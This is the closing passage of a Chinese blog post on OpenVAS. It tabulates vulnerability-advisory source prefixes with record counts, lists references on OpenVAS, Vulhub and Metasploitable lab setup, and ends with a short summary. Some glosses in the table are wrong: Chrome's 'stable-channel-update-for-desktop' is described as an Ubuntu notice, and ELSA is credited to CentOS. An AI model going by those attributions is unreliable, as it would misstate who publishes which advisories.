ELSA1895ELSA(Enterprise Linux Security Advisories)是Oracle Linux和CentOS发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
stable-channel-update-for-desktop456stable-channel-update-for-desktop是Ubuntu桌面版中稳定渠道的更新通告,用于通报和解决发现的安全漏洞和其他问题,为用户提供更新和修补程序的建议。
SA-CORE151SA-CORE(Security Advisory CORE)是Drupal发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
cisco-sa153cisco-sa是思科(Cisco)发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
VMSA141VMSA(VMware Security Advisory)是VMware发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
MFSA666MFSA(Mozilla Foundation Security Advisory)是Mozilla基金会发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。
APSB504APSB(Adobe Product Security Bulletin)是Adobe发布的安全公告,用于通报和解决发现的安全漏洞,为用户提供更新和修补程序的建议。

  最终共获取到84732条数据,不过经过统计最终拥有信息来源的漏洞只有53882条,这是因为有些漏洞信息中并没有提到其来源。

6、参考文献

  1. Greenbone OpenVAS
  2. Building 22.4 from Source
  3. community forum
  4. 工具 | OpenVas高级使用篇
  5. Web 2.3.2 OpenVAS使用初探 / GVM使用入门教程(超详细)
  6. TechDoc Portal
  7. OPENVAS
  8. OpenVAS的安装、使用及实战(GVM,Metasploit使用)
  9. OpenVAS 踩坑指南
  10. Network Security Tools
  11. OpenVAS 漏洞管理
  12. 干货|24+常见渗透测试漏洞靶场列表
  13. Vulhub
  14. vulhub / vulhub
  15. vulhub / vulhub / README.zh-cn.md
  16. greenbone / greenbone-feed-sync
  17. 漏洞扫描之OpenVAS(二)(终)
  18. Metasploitable2-Linux在VMware Workstation Pro上安装
  19. Metasploitable
  20. Failed to get D-Bus connection: Unknown error -1
  21. Ubuntu换源后,更新提示GPG error缺少公钥
  22. 用ssh连接docker容器
  23. 根据docker官方制作镜像碰到的坑 更新apt-get源 使用163的源
  24. linux执行apt-get更新,或者安装软件包时提示,W: Ignoring Provides line with DepCompareOp for package *****
  25. rapid7 / metasploitable3
  26. 【Kali】Kali Linux搭建Metasploitable3靶机详细过程
  27. Metasploitable3 靶机搭建
  28. Unable to use new Vagrant install - Error while connecting to libvirt
  29. WinRM usage not fixed in latest release on Pop_OS (Ubuntu derivative) #13211
  30. 如何在 Ubuntu 上安装 VirtualBox
  31. Index of /virtualbox
  32. ubuntu 安装vbox虚拟机
  33. 【已解决】ssh登录远程服务器时提示Permission denied (publickey,password)_publickey password_up up!的博客-CSDN博客
  34. SSH登陆报错解决方案:Permission denied, please try again._Python少年班-华为开发者联盟HarmonyOS专区
  35. 解决Host key verification failed.(亲测有效)-CSDN博客
  36. 【精选】【已解决】vagrant up下载box速度太慢的解决方法_vagrant up下载慢_雨后天555的博客-CSDN博客
  37. OpenVAS漏洞扫描插件工作原理浅析
  38. OpenVAS分布式漏洞扫描系统简介及部署
  39. How to install OpenVas in Centos 6/7 and Fedora 23/24 - Hack The Sec-Leading Resource Of Linux Tutorial
  40. Updating custom NVT - does it require a feed version update? - Building from Source and Advanced Topics - Greenbone Community Forum

总结

  以上就是本篇博文的全部内容,可以发现,OpenVAS的部署与使用的过程还是比较麻烦的,不过其原理并不复杂,我们本篇博客对其进行了详细的分析。相信读完本篇博客,各位读者一定对OpenVAS有了更深的了解。

  • 20
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

IronmanJay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值